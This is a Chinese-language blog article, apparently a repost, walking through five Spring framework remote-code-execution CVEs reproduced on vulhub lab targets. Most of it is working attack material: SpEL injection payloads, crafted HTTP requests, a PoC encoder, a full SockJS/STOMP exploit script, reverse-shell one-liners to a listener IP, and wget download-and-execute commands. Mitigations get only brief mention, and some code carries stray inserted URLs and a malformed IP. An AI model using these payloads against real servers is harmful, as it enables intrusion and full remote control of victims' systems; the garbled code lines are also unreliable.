java|Spring框架漏洞总结

点击上方“小强的进阶之路”,选择“星标”公众号
优质文章,及时送达
java|Spring框架漏洞总结
文章图片

预计阅读时间: 20分钟
Spring简介 Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
SpEL是什么
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理如下∶

  1. 表达式:可以认为就是传入的字符串内容
  2. 解析器︰将字符串解析为表达式内容
  3. 上下文:表达式对象执行的环境
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象
参考链接:http://rui0.cn/archives/1043
Spring框架特征 1.看web应用程序的ico小图标,是一个小绿叶子
java|Spring框架漏洞总结
文章图片

2.看报错页面,如果默认报错页面没有修复,那就是长这样
java|Spring框架漏洞总结
文章图片

3.wappalyzer插件识别
java|Spring框架漏洞总结
文章图片

4.f12看X-Application-Context头
java|Spring框架漏洞总结
文章图片

本地环境搭建 安装IDEA
官网下载安装包 :
https://www.jetbrains.com/idea/download/#section=windows
这里选择的商业版,免费试用30天
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

安装目录默认
java|Spring框架漏洞总结
文章图片

报错不用管,点击确认,一直默认下一步
java|Spring框架漏洞总结
文章图片

双击下图图标
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

选择Download SDK
java|Spring框架漏洞总结
文章图片

选择jdk1.8
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

点next
java|Spring框架漏洞总结
文章图片

点击Spring Web
java|Spring框架漏洞总结
文章图片

等待安装
java|Spring框架漏洞总结
文章图片

点击右上角启动,可以看见默认端口8080
java|Spring框架漏洞总结
文章图片

成功访问,部署成功
java|Spring框架漏洞总结
文章图片

这里复现的环境搭建均采用p牛的vulhub靶场环境。
Spring渗透总结 1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)
漏洞简介 Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
影响版本
2.0.0-2.0.9 1.0.0-1.0.5

漏洞验证 启动漏洞
java|Spring框架漏洞总结
文章图片

访问url
java|Spring框架漏洞总结
文章图片

输入下面的漏洞测试url:
http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。
漏洞复现 这里看一下vulhub提供的poc,poc地址:
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)

java|Spring框架漏洞总结
文章图片

可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。
反弹shell:
对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误,具体可以参考这篇文章:
https://blog.th3wind.xyz/posts/238052750.html)
在线生成有效载荷的网站:
http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

java|Spring框架漏洞总结
文章图片

生成poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

java|Spring框架漏洞总结
文章图片

修改后的url:

http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test


http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听端口:
java|Spring框架漏洞总结
文章图片

执行url,看见如图的显示页面说明已成功执行:
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

反弹shell成功。
安全防护 1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
2.使用2.0.x版本的用户升级到2.0.10以及更高的版本
因为对java不是很熟,所以没有对底层原理进行分析,但是发现一篇文章分析的还是蛮好的,大家可以看一下:
https://blog.knownsec.com/2016/10/spring-security-oauth-rce/
2.Spring Web Flow框架远程代码执行(CVE-2017-4971)
漏洞简介 Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本
Spring WebFlow 2.4.0 - 2.4.4

触发条件
  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
  2. flow view对象中设置BinderConfiguration对象为空
漏洞复现 开启漏洞
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

点击login
java|Spring框架漏洞总结
文章图片

可以看见这里有很多默认的用户名密码,随便选一组登录系统
java|Spring框架漏洞总结
文章图片

然后访问id为1的酒店地址:
http://192.168.173.144:8080/hotels/1

java|Spring框架漏洞总结
文章图片

点击预订按钮”Book Hotel”,填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰
java|Spring框架漏洞总结
文章图片

随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):
java|Spring框架漏洞总结
文章图片

点击confirm时进行抓包
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

反弹shell的poc:

原POC: &_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhubURL编码后 &_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub

java|Spring框架漏洞总结
文章图片

exp扩展
1、向里面写入文件
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

2、使用wget下载远程bash脚本
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")

3、执行上一步下载的脚本
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")

安全防护 官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:
https://pivotal.io/security/cve-2017-4971
对于这个漏洞的底层分析文章,大家可以看看这篇:
https://paper.seebug.org/322/
3.Spring Data Rest远程命令执行命令(CVE-2017-8046)
漏洞简介 Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3 Spring Boot version < 2.0.0M4 Spring Data release trains < Kay-RC3

漏洞验证 开启漏洞环境:
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

看到 json格式的返回值,说明这是一个 Restful风格的API服务器。
访问如下url,如果有下面回显,则说明存在该漏洞:
http://192.168.173.144:8080/customers/1

java|Spring框架漏洞总结
文章图片

漏洞复现 bp抓包,并且使用PATCH请求来修改:
java|Spring框架漏洞总结
文章图片

创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:

",".join(map(str, (map(ord,"touch /tmp/zcc"))))'116,111,117,99,104,32,47,116,109,112,47,122,99,99'

java|Spring框架漏洞总结
文章图片

将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json
PATCH /customers/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 201[ { "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname", "value": "vulhub" } ]

java|Spring框架漏洞总结
文章图片


成功写入:
java|Spring框架漏洞总结
文章图片

反弹shell的poc,先进行base64编码:
bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

java|Spring框架漏洞总结
文章图片


java|Spring框架漏洞总结
文章图片

写入poc,成功反弹。
安全防护 升级到以下最新版本:
* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3
对于该漏洞底层原理分析的文章可以参考这一篇:
https://blog.spoock.com/2018/05/22/cve-2017-8046/
4.Spring Messaging远程命令执行突破(CVE-2018-1270)
漏洞简介 spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
影响版本
Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15 已不支持的旧版本仍然受影响

漏洞验证 开启漏洞
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

访问该页面:
http://192.168.173.144:8080/gs-guide-websocket

java|Spring框架漏洞总结
文章图片

漏洞复现 对反弹shell的命令base64编码:

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

创建exp.py,自行修改ip和命令语句:

#!/usr/bin/env python3 import requests import random import string import time import threading import logging import sys import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()*1000)def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)def send(self, command, headers, body=''): data = https://www.it610.com/article/[command.upper(),'\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n') data.append(body) data.append('\x00') data = https://www.it610.com/article/json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=https://www.it610.com/article/data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")def __del__(self): self.session.close()sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket') sockjs.start() time.sleep(1)sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')", 'id': 'sub-0', 'destination': '/topic/greetings' })data = https://www.it610.com/article/json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello' }, data)

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

成功反弹。
安全防护 1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);
2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);
对于底层原理进行分析的文章可以参考这一篇:
https://paper.seebug.org/562/
5.Spring Data Commons远程命令执行漏洞(CVE-2018-1273)
漏洞简介 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10) Spring Data REST 2.6 – 2.6.10(Ingalls SR10) Spring Data Commons 2.0 – 2.0.5 (Kay SR5) Spring Data REST 3.0 – 3.0.5(Kay SR5) 官方已经不支持的旧版本

漏洞验证 启动漏洞
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

漏洞复现 访问该url,bp抓包
http://192.168.173.144:8080/users

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

加上poc的请求包如下:

POST /users?page=&size=5 HTTP/1.1 Host: 192.168.173.144:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*; q=0.8 Accept-Language: en-US,en; q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin: http://192.168.173.144:8080 Connection: close Referer: http://192.168.173.144:8080/users Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C Upgrade-Insecure-Requests: 1username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

成功写入。
反弹shell:
写一个shell.sh文件,开启http服务:
java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

下载执行sh脚本:

/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

java|Spring框架漏洞总结
文章图片

执行shell.sh

/bin/bash /tmp/shell.sh

java|Spring框架漏洞总结
文章图片

成功反弹。
安全防护
  1. 受影响版本的用户应该应用以下缓解措施:
  • 2.0.x用户应该升级到2.0.6
  • 1.13.x用户应该升级到1.13.11
  • 旧版本应升级到受支持的分支
已解决此问题的发布版本包括:
  • Spring Data REST 2.6.11(Ingalls SR11)
  • Spring Data REST 3.0.6(Kay SR6)
  • Spring Boot 1.5.11
  • Spring Boot 2.0.1
  1. 使用Spring Security提供的身份验证和授权,限定特定访问。
对于该漏洞的底层原理分析可以看该文章:https://www.cnblogs.com/hac425/p/9656747.html
End
推荐阅读:
工作中一些原则体会
程序员因接外包坐牢 456 天!两万字长文揭露心酸真实经历
清华大学两名博士生被开除:你不吃学习的苦,就要吃生活的苦

java|Spring框架漏洞总结
文章图片

【java|Spring框架漏洞总结】明天见(??ω??)??

    推荐阅读